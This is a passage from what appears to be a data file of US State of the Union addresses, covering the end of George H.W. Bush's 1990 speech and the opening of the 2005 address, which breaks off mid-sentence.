at the center of\na widening circle of freedom, today, tomorrow and into the next century.Our nation is the enduring dream of every immigrant who ever set foot on\nthese shores, and the millions still struggling to be free. This nation,\nthis idea called America was and always will be a new world, our new\nworld.At a workers' rally in a place called Branik on the outskirts of Prague the\nidea called America is alive. A worker, dressed in grimy overalls, rises to\nspeak at the factory gates. And he begins his speech to his fellow citizens\nwith these words, words of a distant revolution: \"We hold these truths to\nbe self-evident. That all men are created equal, that they are endowed by\ntheir creator with certain unalienable rights, and that among these are\nlife, liberty and the pursuit of happiness.\" It's no secret here at home\nfreedom's door opened long ago. The cornerstones of this free society have\nalready been set in place: democracy, competition, opportunity, private\ninvestment, stewardship, and of course, leadership.And our challenge today is to take this democratic system of ours, a system\nsecond to none, and make it better:A better America where there's a job for whoever wants one;Where women working outside the home can be confident their children are\nin safe and loving care, and where Government works to expand child\nalternatives for parents.Where we reconcile the needs of a clean environment and a strong economy.Where \"Made in the USA\" is recognized around the world as the symbol of\nquality and progress,And where every one of us enjoys the same opportunities to live, to work\nand to contribute to society. And where, for the first time, the American\nmainstream includes all of our disabled citizens.Where everyone has a roof over his head, and where the homeless get the\nhelp they need to live in dignity.Where our schools challenge and support our kids and our teachers, and\nevery one of them makes the grade,Where every street, every city, every school and every child is drug-free.And finally, and finally, where no American is forgotten. Our hearts go out\nto our hostages, our hostages who are ceaselessly in our minds and in our\nefforts. That's part of the future we want to see, the future we can make\nfor ourselves. But dreams alone won't get us there. We need to extend our\nhorizon, to commit to the long view. And our mission for the future starts\ntoday.In the tough competitive markets around the world, America faces the great\nchallenges and great opportunities. And we know that we can succeed in the\nglobal economic arena of the 90's. But to meet that challenge we must make\nsome fundamental changes, some crucial investments in ourselves.Yes, we are going to invest in America. This Administration is determined\nto encourage the creation of capital, capital of all kinds. Physical\ncapital: everything from our farms and factories to our workshops and\nproduction lines, all that is needed to produce and deliver quality goods\nand quality services. Intellectual, intellectual capital: the source of\nideas that spark tomorrow's products. And of course human capital: the\ntalented work force that we'll need to compete in the global market.And let me tell you, if we ignore human capital, if we lose the spirit of\nAmerican ingenuity, the sprit that is the hallmark of the AMERICAN worker,\nthat would be bad. The American worker is the most productive worker in the\nworld.We need to save more. We need to expand the pool of capital for new\ninvestments that mean more jobs and more growth. And that's the idea behind\nthe new initiative I call the Family Savings Plan, which I will send to\nCongress tomorrow.We need to cut the tax on capital gains, encourage, encourage risk-takers,\nespecially those in small businesses, to take those steps that translate\ninto economic reward, jobs, and a better life for all of us.We'll do what it takes to invest in America's future. The budget commitment\nis there. The money is there. It's there for research and development, R\nand D, a record high. It's there for our housing initiative, hope, H-O-P-E,\nto help everyone from first-time homebuyers to the homeless. The money's\nthere to keep our kids drug-free, 70 percent more than when I took office\nin 1989. It's there for space exploration, and its there for education,\nanother record high.And one more, and one more thing. Last fall at the education summit, the\ngovernors and I agreed to look for ways to help make sure that our kids are\nready to learn the very first day they walk into the classroom. And I've\nmade good on that commitment by proposing a record increase in funds, an\nextra half billion dollars, for something near and dear to all of us: Head\nStart.Education is the one investment that means more for our future, because it\nmeans the most for our children. Real improvement in our schools is not\nsimply a matter of spending more. It's a matter of asking more, expecting\nmore, of our schools, our teachers, of our kids, of our parents and of\nourselves. And that's why tonight, and that's why tonight, I am announcing\nAmerica's education goals, goals developed with enormous cooperation from\nthe nation's governors. And if I might I'd like to say I'm very pleased\nthat Governor Gardner and Governor Clinton, Governor Branstad, Governor\nCampbell, all of whom were very key in these discussion, these\ndeliberations, are with us here tonight.By the, by the year 2000, every child must start school ready to learn. The\nUnited States must increase the high school graduation rate to no less than\n90 percent. And we are going to make sure our schools' diplomas mean\nsomething. In critical subjects, at the fourth, eighth, and 12th grades, we\nmust assess our students' performance.By the, by the year 2000 U.S. students must be the first in the world in\nmath and science achievement. Every American adult must be a skilled,\nliterate worker and citizen. Every school must offer the kind of\ndisciplined environment that makes it possible for our kids to learn. And\nevery school in America must be drug-free.Ambitious aims? Of course. Easy to do? Far from it. But the future's at\nstake. The nation will not accept anything less than excellence in\neducation.These investments will help keep America competitive. And I know this about\nthe American people: we welcome competition. We'll match our ingenuity, our\nenergy, our experience, and technology our spirit and enterprise against\nanyone. But let the competition be free, but let it also be fair. America\nis ready.Since we really mean it, and since we're serious about being ready to meet\nour challenge, we're getting our own house in order. We have made real\nprogress. Seven years ago, the Federal deficit was 6 percent of our gross\nnational product, 6 percent. In the new budget I sent up two days ago the\ndeficit is down to 1 percent of GNP.That budget brings Federal spending under control. It meets the\nGramm-Rudman target. It brings the deficit down further. And balances the\nbudget by 1993, with no new taxes.And let me tell you, there's still more than enough Federal spending. For\nmost of us, $1.2 trillion is still a lot of money.And once the budget is balanced, we can operate the way every family must\nwhen it has bills to pay. We won't leave it to our children and\ngrandchildren. Once it's balanced, we will start paying off the national\ndebt.And there's something more, and there's something more we owe the\ngenerations of the future: stewardship, the safekeeping of America's\nprecious environmental inheritance.As just one sign of how serious we are, we will elevate the Environmental\nProtection Agency to Cabinet rank. Not, not more bureaucracy, not more red\ntape, but the certainty that here at home, and especially in our dealings\nwith other nations, environmental issues have the status they deserve.This year's budget provides over $2 billion in new spending to protect our\nenvironment, with over $1 billion for global change research, and a new\ninitiative I call America the Beautiful to expand our national parks and\nwildlife preserves and improve recreational facilities on public lands.And something else, something that will help keep this country clean, from\nour forest land to the inner cities, and keep America beautiful for\ngenerations to come, the money to plant a billion trees a year.And tonight, and tonight let me say again to all the members of the\nCongress, the American people did not send us here to bicker. There is work\nto do, and they sent us here to get it done. And once again, in the spirit\nof cooperation I offer my hand to all of you. And let's work together to do\nthe will of the people--clean air, child care, the educational excellence\nact, crime and drugs. It's time to act. The farm bill, transportation\npolicy, product liability reform, enterprise zones. It's time to act\ntogether.And there's one thing I hope we can agree on. It's about our commitments.\nAnd I'm talking about Social Security.To every American out there on Social Security, to every, every American\nsupporting that system today, and to everyone counting on it when they\nretire, we made a promise to you, and we are going to keep it.We, we rescued the system in 1983 and it's sound again, bipartisan\narrangement. Our budget fully funds today's benefits and it assures that\nfuture benefits will be funded as well. And the last thing we need to do is\nmess around with Social Security.There's one more problem we need to address. We must give careful\nconsideration to the recommendations of the health care studies under way\nnow. And that's why tonight, I am asking Dr. Sullivan, Lou Sullivan,\nSecretary of Health and Human Services, to lead a Domestic Policy Council\nreview of recommendations on the quality, accessibility and cost of our\nnation's health care system. I am committed to bring the staggering costs\nof health care under control.The State of the Government does indeed depend on many of us in this very\nchamber. But the State of the Union depends on all Americans. We must\nmaintain the democratic decency that makes a nation out of millions of\nindividuals. And I've been appalled at the recent mail bombings across this\ncountry. Every one of us must confront and condemn racism, anti-Semitism,\nbigotry and hate. Not next week, not tomorrow, but right now. Every single\none of us.The State of the Union depends on whether we help our neighbor, claim the\nproblems of our community as our own. We've got to step forward when\nthere's trouble, lend a hand, be what I call a point of light to a stranger\nin need. We've got to take the time after a busy day to sit down and read\nwith our kids, help them with their homework, pass along the values we had\nas children. And that's how we sustain the State of the Union.Every effort is important. It all adds up. It's doing the things that give\ndemocracy meaning. It all adds up to who we are and who we will be.And let me say, that so long as we remember the American idea, so long as\nwe live up to the American ideal, the State of the Union will remain sound\nand strong.And to those who worry that we've lost our way, well, I want you to listen\nto parts of a letter written by James Markwell, Pvt. 1st Class James\nMarkwell, a 20-year-old Army medic to the First Battalion, 75th Rangers.\nIt's dated Dec. 18, the day before our armed forces went into action in\nPanama. It's a letter servicemen write--and hope will never, ever be sent.\nAnd sadly, Private Markwell's mother did receive this letter. She passed it\non to me out there in Cincinnati.And here is some of what he wrote: \"I've never been afraid of death, but I\nknow he is waiting at the corner...I've been trained to kill and to save,\nand so has everyone else. I am frightened of what lays beyond the fog, and\nyet... do not mourn for me. Revel in the life that I have died to give\nyou... But most of all, don't forget that the Army was my choice. Something\nthat I wanted to do. Remember I joined the Army to serve my country and\ninure that you are free to do what you want and to live your lives\nfreely.\"Let me add that Private Markwell was among the first to see battle in\nPanama, and among the first to fall. But he knew what he believed in. He\ncarried the idea we call America in his heart.I began tonight speaking about the changes we've seen this past year. There\nis a new world of challenges and opportunities before us. And there is a\nneed for leadership that only America can provide.Nearly 40 years ago, in his last address to the Congress, President Harry\nTruman predicted such a time would come. He said, \"As our world grows\nstronger, more united, more attractive to men on both sides of the Iron\nCurtain, then inevitably there will come a time of change within the\nCommunist world.\" Today, that change is taking place.For more than 40 years, America and its allies held Communism in check and\ninsured that democracy would continue to exist. And today, with Communism\ncrumbling, our aim must be to insure democracy's advance, to take the lead\nin forging peace and freedom's best hope, a great and growing commonwealth\nof free nations.And to the Congress and to all Americans, I say it is time to acclaim a new\nconsensus at home and abroad, a common vision of the peaceful world we want\nto see.Here in our own hemisphere it is time for all the people of the Americas,\nNorth and South, to live in freedom.In the Far East and Africa, it's time for the full flowering of free\ngovernments and free markets that have served the engine of progress.It is time to offer our hand to the emerging democracies of Eastern Europe\nso that continent, for too long a continent divided, can see a future whole\nand free.It's time to build on our new relationship with the Soviet Union, to\nendorse and encourage a peaceful process of internal change toward\ndemocracy and economic opportunity.We are in a period of great transition, great hope, and yet great\nuncertainty. We recognize that the Soviet military threat in Europe is\ndiminishing, but we see little change in Soviet strategic modernization.\nAnd, therefore, we must sustain our own strategic offense modernization and\nthe Strategic Defense Initiative.But the time is right to move forward on a conventional arms control\nagreement to move us to more appropriate levels of military forces in\nEurope, a coherent defense program that insures the U.S. will continue to\nbe a catalyst for peaceful change in Europe. And I've consulted with\nleaders of NATO. In fact I spoke by phone with President Gorbachev just\ntoday.And I agree with our European allies that an American military presence in\nEurope is essential and that it should not be solely tied to the Soviet\nmilitary presence in Eastern Europe.But our troop levels can still be lower. And so tonight I am announcing a\nmajor new step for a further reduction in U.S. and Soviet manpower in\nCentral and Eastern Europe to 195,000 on each side.This number, this number, this level, reflects the advice of our senior\nmilitary advisers. It's designed to protect American and European interests\nand sustain NATO's defense strategy. A swift conclusion to our arms control\ntalks--conventional, chemical and strategic--must now be our goal. And\nthat time has come.Still, we must recognize an unfortunate fact: in many regions of the world\ntonight the reality is conflict, not peace. Enduring animosities and\nopposing interests remain. And thus the cause of peace must be served by an\nAmerica strong enough and sure enough to defend our interests and our\nideals. It's this American idea that for the past four decades helped\ninspire the Revolution of '89.And here at home, and in the world, there is history in the making, and\nhistory to be made. Six months ago, early in this season of change, I stood\nat the gates of the Gdansk shipyard in Poland at the monument to the fallen\nworkers of Solidarity. It's a monument of simple majesty. Three tall\ncrosses rise up from the stones, and atop each cross, an anchor, an ancient\nsymbol of hope.The anchor in our world today is freedom. Holding us steady in times of\nchange, a symbol of hope to all the world. And freedom is at the very heart\nof the idea that is America. Giving life to the idea depends on every one\nof us. Our anchor has always been faith and family.In the last few days of this past monumentous year, our family was blessed\nonce more, celebrating the joy of life when a little boy became our 12th\ngrandchild. When I held the little guy for the first time, the troubles at\nhome and abroad seemed manageable, and totally in perspective.And now I know, I know you're probably thinking, Well, that's just a\ngrandfather talking.Well, maybe you're right. But I've met a lot of children this past year\nacross this country, as all of you have. Everywhere from the Far East to\nEastern Europe. All kids are unique. Yet, all kids are alike. The budding\nyoung environmentalist I met this month, who joined me in exploring the\nFlorida Everglades. The Little Leaguers I played catch with in Poland,\nready to go from Warsaw to the World Series. And even the kids who are ill\nor alone--and God bless those boarder babies, born addicted to drugs and\nAIDS--coping with problems no child should have to face. But, you know,\nwhen it comes to hope and the future, every kid is the same: full of\ndreams, ready to take on the world, all special because they are the very\nfuture of freedom. And to them belongs this new world I've been speaking\nabout.And so tonight, I'm going to ask something of every one of you. Now let me\nstart with my generation, with the grandparents out there. You are our\nliving link with the past. Tell your grandchildren the story of struggles\nwaged at home and abroad, of sacrifices freely made for freedom's sake. And\ntell them your own story as well, because every American has a story to\ntell.And parents, your children look to you for direction and guidance. Tell\nthem of faith and family. Tell them we are one nation under God. Teach them\nthat of all the many gifts they can receive, liberty is their most precious\nlegacy. And of all the gifts they can give, the greatest, the greatest is\nhelping others.And to the children and young people out there tonight, with you rests our\nhope, all that America will mean in the years and decades ahead. Fix your\nvision on a new century, your century, on dreams we cannot see, on the\ndestiny that is yours and yours alone.And finally, let all Americans, all of us here in this chamber, the\nsymbolic center of democracy, affirm our allegiance to this idea we call\nAmerica. And let us remember that the State of the Union depends upon each\nand every one of us.God bless all of you. And may God bless this great nation, the United\nStates of America.", 
+    "name": "George H.W. Bush"
+}
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+{
+    "date": "February 2, 2005", 
+    "speech": "Mr. Speaker, Vice President Cheney, Members of Congress, fellow citizens:As a new Congress gathers, all of us in the elected branches of Government share\na great privilege: We've been placed in office by the votes of the people we\nserve. And tonight that is a privilege we share with newly elected leaders of\nAfghanistan, the Palestinian Territories, Ukraine, and a free and sovereign\nIraq.Two weeks ago, I stood on the steps of this Capitol and renewed the commitment\nof our Nation to the guiding ideal of liberty for all. This evening I will set\nforth policies to advance that ideal at home and around the world.Tonight, with a healthy, growing economy, with more Americans going back to\nwork, with our Nation an active force for good in the world, the state of our\nUnion is confident and strong.Our generation has been blessed by the expansion of opportunity, by advances in\nmedicine, by the security purchased by our parents' sacrifice. Now, as we see a\nlittle gray in the mirror--or a lot of gray--[laughter]--and we watch our\nchildren moving into adulthood, we ask the question: What will be the state of\ntheir Union? Members of Congress, the choices we make together will answer that\nquestion. Over the next several months, on issue after issue, let us do what\nAmericans have always done and build a better world for our children and our\ngrandchildren.First, we must be good stewards of this economy and renew the great institutions\non which millions of our fellow citizens rely. America's economy is the fastest\ngrowing of any major industrialized nation. In the past 4 years, we've provided\ntax relief to every person who pays income taxes, overcome a recession, opened\nup new markets abroad, prosecuted corporate criminals, raised homeownership to\nits highest level in history. And in the last year alone, the United States has\nadded 2.3 million new jobs. When action was needed, the Congress delivered, and\nthe Nation is grateful.Now we must add to these achievements. By making our economy more flexible, more\ninnovative, and more competitive, we will keep America the economic leader of\nthe world.America's prosperity requires restraining the spending appetite of the Federal\nGovernment. I welcome the bipartisan enthusiasm for spending discipline. I will\nsend you a budget that holds the growth of discretionary spending below\ninflation, makes tax relief permanent, and stays on track to cut the deficit in\nhalf by 2009. My budget substantially reduces or eliminates more than 150\nGovernment programs that are not getting results or duplicate current efforts or\ndo not fulfill essential priorities. The principle here is clear: Taxpayer\ndollars must be spent wisely or not at all.To make our economy stronger and more dynamic, we must prepare a rising\ngeneration to fill the jobs of the 21st century. Under the No Child Left Behind\nAct, standards are higher, test scores are on the rise, and we're closing the\nachievement gap for minority students. Now we must demand better results from\nour high schools, so every high school diploma is a ticket to success. We will\nhelp an additional 200,000 workers to get training for a better career by\nreforming our job training system and strengthening America's community\ncolleges. And we'll make it easier for Americans to afford a college education\nby increasing the size of Pell grants.To make our economy stronger and more competitive, America must reward, not\npunish, the efforts and dreams of entrepreneurs. Small business is the path of\nadvancement, especially for women and minorities, so we must free small\nbusinesses from needless regulation and protect honest job-creators from junk\nlawsuits. Justice is distorted and our economy is held back by irresponsible\nclass actions and frivolous asbestos claims, and I urge Congress to pass legal\nreforms this year.To make our economy stronger and more productive, we must make health care more\naffordable and give families greater access to good coverage and more control\nover their health decisions. I ask Congress to move forward on a comprehensive\nhealth care agenda with tax credits to help low-income workers buy insurance, a\ncommunity health center in every poor county, improved information technology to\nprevent medical error and needless costs, association health plans for small\nbusinesses and their employees, expanded health savings accounts, and medical\nliability reform that will reduce health care costs and make sure patients have\nthe doctors and care they need.To keep our economy growing, we also need reliable supplies of affordable,\nenvironmentally responsible energy. Nearly 4 years ago, I submitted a\ncomprehensive energy strategy that encourages conservation, alternative sources,\na modernized electricity grid, and more production here at home, including safe,\nclean nuclear energy. My Clear Skies legislation will cut powerplant pollution\nand improve the health of our citizens. And my budget provides strong funding\nfor leading-edge technology, from hydrogen-fueled cars to clean coal to\nrenewable sources such as ethanol. Four years of debate is enough. I urge\nCongress to pass legislation that makes America more secure and less dependent\non foreign energy.All these proposals are essential to expand this economy and add new jobs, but\nthey are just the beginning of our duty. To build the prosperity of future\ngenerations, we must update institutions that were created to meet the needs of\nan earlier time. Year after year, Americans are burdened by an archaic,\nincoherent Federal Tax Code. I've appointed a bipartisan panel to examine the\nTax Code from top to bottom. And when their recommendations are delivered, you\nand I will work together to give this Nation a Tax Code that is progrowth, easy\nto understand, and fair to all.America's immigration system is also outdated, unsuited to the needs of our\neconomy and to the values of our country. We should not be content with laws\nthat punish hardworking people who want only to provide for their families and\ndeny businesses willing workers and invite chaos at our border. It is time for\nan immigration policy that permits temporary guest workers to fill jobs\nAmericans will not take, that rejects amnesty, that tells us who is entering and\nleaving our country, and that closes the border to drug dealers and terrorists.One of America's most important institutions, a symbol of the trust between\ngenerations, is also in need of wise and effective reform. Social Security was a\ngreat moral success of the 20th century, and we must honor its great purposes in\nthis new century. The system, however, on its current path, is headed toward\nbankruptcy. And so we must join together to strengthen and save Social Security.Today, more than 45 million Americans receive Social Security benefits, and\nmillions more are nearing retirement. And for them the system is sound and\nfiscally strong. I have a message for every American who is 55 or older: Do not\nlet anyone mislead you; for you, the Social Security system will not change in\nany way.For younger workers, the Social Security system has serious problems that will\ngrow worse with time. Social Security was created decades ago for a very\ndifferent era. In those days, people did not live as long. Benefits were much\nlower than they are today. And a half century ago, about 16 workers paid into\nthe system for each person drawing benefits.Our society has changed in ways the founders of Social Security could not have\nforeseen. In today's world, people are living longer and, therefore, drawing\nbenefits longer. And those benefits are scheduled to rise dramatically over the\nnext few decades. And instead of 16 workers paying in for every beneficiary,\nright now it's only about 3 workers. And over the next few decades, that number\nwill fall to just 2 workers per beneficiary. With each passing year, fewer\nworkers are paying ever- higher benefits to an ever-larger number of retirees.So here is the result: Thirteen years from now, in 2018, Social Security will be\npaying out more than it takes in. And every year afterward will bring a new\nshortfall, bigger than the year before. For example, in the year 2027, the\nGovernment will somehow have to come up with an extra $200 billion to keep the\nsystem afloat, and by 2033, the annual shortfall would be more than $300\nbillion. By the year 2042, the entire system would be exhausted and bankrupt. If\nsteps are not taken to avert that outcome, the only solutions would be\ndramatically higher taxes, massive new borrowing, or sudden and severe cuts in\nSocial Security benefits or other Government programs.I recognize that 2018 and 2042 may seem a long way off. But those dates are not\nso distant, as any parent will tell you. If you have a 5- year-old, you're\nalready concerned about how you'll pay for college tuition 13 years down the\nroad. If you've got children in their twenties, as some of us do, the idea of\nSocial Security collapsing before they retire does not seem like a small matter.\nAnd it should not be a small matter to the United States Congress. You and I\nshare a responsibility. We must pass reforms that solve the financial problems\nof Social Security once and for all.Fixing Social Security permanently will require an open, candid review of the\noptions. Some have suggested limiting benefits for wealthy retirees. Former\nCongressman Tim Penny has raised the possibility of indexing benefits to prices\nrather than wages. During the 1990s, my predecessor, President Clinton, spoke of\nincreasing the retirement age. Former Senator John Breaux suggested discouraging\nearly collection of Social Security benefits. The late Senator Daniel Patrick\nMoynihan recommended changing the way benefits are calculated. All these ideas\nare on the table.I know that none of these reforms would be easy. But we have to move ahead with\ncourage and honesty, because our children's retirement security is more\nimportant than partisan politics. I will work with Members of Congress to find\nthe most effective combination of reforms. I will listen to anyone who has a\ngood idea to offer. We must, however, be guided by some basic principles. We\nmust make Social Security permanently sound, not leave that task for another\nday. We must not jeopardize our economic strength by increasing payroll taxes.\nWe must ensure that lower income Americans get the help they need to have\ndignity and peace of mind in their retirement. We must guarantee there is no\nchange for those now retired or nearing retirement. And we must take care that\nany changes in the system are gradual, so younger workers have years to prepare\nand plan for their future.As we fix Social Security, we also have the responsibility to make the system a\nbetter deal for younger workers. And the best way to reach that goal is through\nvoluntary personal retirement accounts. Here is how the idea works. Right now, a\nset portion of the money you earn is taken out of your paycheck to pay for the\nSocial Security benefits of today's retirees. If you're a younger worker, I\nbelieve you should be able to set aside part of that money in your own\nretirement account, so you can build a nest egg for your own future.Here's why the personal accounts are a better deal. Your money will grow over\ntime at a greater rate than anything the current system can deliver, and your\naccount will provide money for retirement over and above the check you will\nreceive from Social Security. In addition, you'll be able to pass along the\nmoney that accumulates in your personal account, if you wish, to your children\nand--or grandchildren. And best of all, the money in the account is yours, and\nthe Government can never take it away.The goal here is greater security in retirement, so we will set careful\nguidelines for personal accounts. We'll make sure the money can only go into a\nconservative mix of bonds and stock funds. We'll make sure that your earnings\nare not eaten up by hidden Wall Street fees. We'll make sure there are good\noptions to protect your investments from sudden market swings on the eve of your\nretirement. We'll make sure a personal account cannot be emptied out all at once\nbut rather paid out over time as an addition to traditional Social Security\nbenefits. And we'll make sure this plan is fiscally responsible by starting\npersonal retirement accounts gradually and raising the yearly limits on\ncontributions over time, eventually permitting all workers to set aside 4\npercentage points of their payroll taxes in their accounts.Personal retirement accounts should be familiar to Federal employees, because\nyou already have something similar called the Thrift Savings Plan, which lets\nworkers deposit a portion of their paychecks into any of five different broadly\nbased investment funds. It's time to extend the same security and choice and\nownership to young Americans.Our second great responsibility to our children and grandchildren is to honor\nand to pass along the values that sustain a free society. So many of my\ngeneration, after a long journey, have come home to family and faith and are\ndetermined to bring up responsible, moral children. Government is not the source\nof these values, but Government should never undermine them.Because marriage is a sacred institution and the foundation of society, it\nshould not be redefined by activist judges. For the good of families, children,\nand society, I support a constitutional amendment to protect the institution of\nmarriage.Because a society is measured by how it treats the weak and vulnerable, we must\nstrive to build a culture of life. Medical research can help us reach that goal\nby developing treatments and cures that save lives and help people overcome\ndisabilities, and I thank the Congress for doubling the funding of the National\nInstitutes of Health.To build a culture of life, we must also ensure that scientific advances always\nserve human dignity, not take advantage of some lives for the benefit of others.\nWe should all be able to agree on some clear standards. I will work with\nCongress to ensure that human embryos are not created for experimentation or\ngrown for body parts and that human life is never bought or sold as a commodity.\nAmerica will continue to lead the world in medical research that is ambitious,\naggressive, and always ethical.Because courts must always deliver impartial justice, judges have a duty to\nfaithfully interpret the law, not legislate from the bench. As President, I have\na constitutional responsibility to nominate men and women who understand the\nrole of courts in our democracy and are well- qualified to serve on the bench,\nand I have done so. The Constitution also gives the Senate a responsibility:\nEvery judicial nominee deserves an up-or-down vote.Because one of the deepest values of our country is compassion, we must never\nturn away from any citizen who feels isolated from the opportunities of America.\nOur Government will continue to support faith-based and community groups that\nbring hope to harsh places. Now we need to focus on giving young people,\nespecially young men in our cities, better options than apathy or gangs or jail.\nTonight I propose a 3-year initiative to help organizations keep young people\nout of gangs and show young men an ideal of manhood that respects women and\nrejects violence. Taking on gang life will be one part of a broader outreach to\nat-risk youth, which involves parents and pastors, coaches and community leaders\nin programs ranging from literacy to sports. And I am proud that the leader of\nthis nationwide effort will be our First Lady, Laura Bush.Because HIV/AIDS brings suffering and fear into so many lives, I ask you to\nreauthorize the Ryan White Act to encourage prevention and provide care and\ntreatment to the victims of that disease. And as we update this important law,\nwe must focus our efforts on fellow citizens with the highest rates of new\ncases, African American men and women.Because one of the main sources of our national unity is our belief in equal\njustice, we need to make sure Americans of all races and backgrounds have\nconfidence in the system that provides justice. In America, we must make doubly\nsure no person is held to account for a crime he or she did not commit, so we\nare dramatically expanding the use of DNA evidence to prevent wrongful\nconviction. Soon I will send to Congress a proposal to fund special training for\ndefense counsel in capital cases, because people on trial for their lives must\nhave competent lawyers by their side.Our third responsibility to future generations is to leave them an America that\nis safe from danger and protected by peace. We will pass along to our children\nall the freedoms we enjoy, and chief among them is freedom from fear.In the 3\\1/2\\ years since September the 11th, 2001, we have taken unprecedented\nactions to protect Americans. We've created a new Department of Government to\ndefend our homeland, focused the FBI on preventing terrorism, begun to reform\nour intelligence agencies, broken up terror cells across the country, expanded\nresearch on defenses against biological and chemical attack, improved border\nsecurity, and trained more than a half million first-responders. Police and\nfirefighters, air marshals, researchers, and so many others are working every\nday to make our homeland safer, and we thank them all.Our Nation, working with allies and friends, has also confronted the enemy\nabroad with measures that are determined, successful, and continuing. The Al\nQaida terror network that attacked our country still has leaders, but many of\nits top commanders have been removed. There are still governments that sponsor\nand harbor terrorists, but their number has declined. There are still regimes\nseeking weapons of mass destruction but no longer without attention and without\nconsequence. Our country is still the target of terrorists who want to kill many\nand intimidate us all, and we will stay on the offensive against them until the\nfight is won.Pursuing our enemies is a vital commitment of the war on terror, and I thank the\nCongress for providing our service men and women with the resources they have\nneeded. During this time of war, we must continue to support our military and\ngive them the tools for victory.Other nations around the globe have stood with us. In Afghanistan, an\ninternational force is helping provide security. In Iraq, 28 countries have\ntroops on the ground, the United Nations and the European Union provided\ntechnical assistance for the elections, and NATO is leading a mission to help\ntrain Iraqi officers. We're cooperating with 60 governments in the Proliferation\nSecurity Initiative to detect and stop the transit of dangerous materials. We're\nworking closely with the governments in Asia to convince North Korea to abandon\nits nuclear ambitions. Pakistan, Saudi Arabia, and nine other countries have\ncaptured or detained Al Qaida terrorists. In the next 4 years, my administration\nwill continue to build the coalitions that will defeat the dangers of our time.In the long term, the peace we seek will only be achieved by eliminating the\nconditions that feed radicalism and ideologies of murder. If whole regions of\nthe world remain in despair and grow in hatred, they will be the recruiting\ngrounds for terror, and that terror will stalk America and other free nations\nfor decades. The only force powerful enough to stop the rise of tyranny and\nterror and replace hatred with hope is the force of human freedom. Our enemies\nknow this, and that is why the terrorist Zarqawi recently declared war on what\nhe called the \"evil principle\" of democracy. And we've declared our own\nintention: America will stand with the allies of freedom to support democratic\nmovements in the Middle East and beyond, with the ultimate goal of ending\ntyranny in our world.The United States has no right, no desire, and no intention to impose our form\nof government on anyone else. That is one of the main differences between us and\nour enemies. They seek to impose and expand an empire of oppression in which a\ntiny group of brutal, self-appointed rulers control every aspect of every life.\nOur aim is to build and preserve a community of free and independent nations,\nwith governments that answer to their citizens and reflect their own cultures.\nAnd because democracies respect their own people and their neighbors, the\nadvance of freedom will lead to peace.That advance has great momentum in our time, shown by women voting in\nAfghanistan and Palestinians choosing a new direction and the people of Ukraine\nasserting their democratic rights and electing a President. We are witnessing\nlandmark events in the history of liberty, and in the coming years, we will add\nto that story.The beginnings of reform and democracy in the Palestinian territories are now\nshowing the power of freedom to break old patterns of violence and failure.\nTomorrow morning Secretary of State Rice departs on a trip that will take her to\nIsrael and the West Bank for meetings with Prime Minister Sharon and President\nAbbas. She will discuss with them how we and our friends can help the\nPalestinian people end terror and build the institutions of a peaceful,\nindependent, democratic state. To promote this democracy, I will ask Congress\nfor $350 million to support Palestinian political, economic, and security\nreforms. The goal of two democratic states, Israel and Palestine, living side by\nside in peace is within reach, and America will help them achieve that goal.To promote peace and stability in the broader Middle East, the United States\nwill work with our friends in the region to fight the common threat of terror,\nwhile we encourage a higher standard of freedom. Hopeful reform is already\ntaking hold in an arc from Morocco to Jordan to Bahrain. The Government of Saudi\nArabia can demonstrate its leadership in the region by expanding the role of its\npeople in determining their future. And the great and proud nation of Egypt,\nwhich showed the way toward peace in the Middle East, can now show the way\ntoward democracy in the Middle East.To promote peace in the broader Middle East, we must confront regimes that\ncontinue to harbor terrorists and pursue weapons of mass murder. Syria still\nallows its territory and parts of Lebanon to be used by terrorists who seek to\ndestroy every chance of peace in the region. You have passed and we are applying\nthe Syrian Accountability Act, and we expect the Syrian Government to end all\nsupport for terror and open the door to freedom. Today, Iran remains the world's\nprimary state sponsor of terror, pursuing nuclear weapons while depriving its\npeople of the freedom they seek and deserve. We are working with European allies\nto make clear to the Iranian regime that it must give up its uranium enrichment\nprogram and any plutonium reprocessing and end its support for terror. And to\nthe Iranian people, I say tonight: As you stand for your own liberty, America\nstands with you.Our generational commitment to the advance of freedom, especially in the Middle\nEast, is now being tested and honored in Iraq. That country is a vital front in\nthe war on terror, which is why the terrorists have chosen to make a stand\nthere. Our men and women in uniform are fighting terrorists in Iraq so we do not\nhave to face them here at home. And the victory of freedom in Iraq will\nstrengthen a new ally in the war on terror, inspire democratic reformers from\nDamascus to Tehran, bring more hope and progress to a troubled region, and\nthereby lift a terrible threat from the lives of our children and grandchildren.We will succeed because the Iraqi people value their own liberty, as they showed\nthe world last Sunday. Across Iraq, often at great risk, millions of citizens\nwent to the polls and elected 275 men and women to represent them in a new\nTransitional National Assembly. A young woman in Baghdad told of waking to the\nsound of mortar fire on election day and wondering if it might be too dangerous\nto vote. She said, \"Hearing those explosions, it occurred to me: The insurgents\nare weak; they are afraid of democracy; they are losing. So I got my husband and\nI got my parents, and we all came out and voted together.\" Americans recognize\nthat spirit of liberty, because we share it. In any nation, casting your vote is\nan act of civic responsibility. For millions of Iraqis, it was also an act of\npersonal courage, and they have earned the respect of us all.One of Iraq's leading democracy and human rights advocates is Safia Taleb\nal-Suhail. She says of her country, \"We were occupied for 35 years by Saddam\nHussein. That was the real occupation. Thank you to the American people who paid\nthe cost but, most of all, to the soldiers.\" Eleven years ago, Safia's father\nwas assassinated by Saddam's intelligence service. Three days ago in Baghdad,\nSafia was finally able to vote for the leaders of her country, and we are\nhonored that she is with us tonight.The terrorists and insurgents are violently opposed to democracy and will\ncontinue to attack it. Yet, the terrorists' most powerful myth is being\ndestroyed. The whole world is seeing that the car bombers and assassins are not\nonly fighting coalition forces; they are trying to destroy the hopes of Iraqis,\nexpressed in free elections. And the whole world now knows that a small group of\nextremists will not overturn the will of the Iraqi people.We will succeed in Iraq because Iraqis are determined to fight for their own\nfreedom and to write their own history. As Prime Minister Allawi said in his\nspeech to Congress last September, \"Ordinary Iraqis are anxious to shoulder all\nthe security burdens of our country as quickly as possible.\" That is the\nnatural desire of an independent nation, and it is also the stated mission of\nour coalition in Iraq. The new political situation in Iraq opens a new phase of\nour work in that country.At the recommendation of our commanders on the ground and in consultation with\nthe Iraqi Government, we will increasingly focus our efforts on helping prepare\nmore capable Iraqi security forces, forces with skilled officers and an\neffective command structure. As those forces become more self-reliant and take\non greater security responsibilities, America and its coalition partners will\nincreasingly be in a supporting role. In the end, Iraqis must be able to defend\ntheir own country, and we will help that proud new nation secure its liberty.Recently an Iraqi interpreter said to a reporter, \"Tell America not to abandon\nus.\" He and all Iraqis can be certain: While our military strategy is adapting\nto circumstances, our commitment remains firm and unchanging. We are 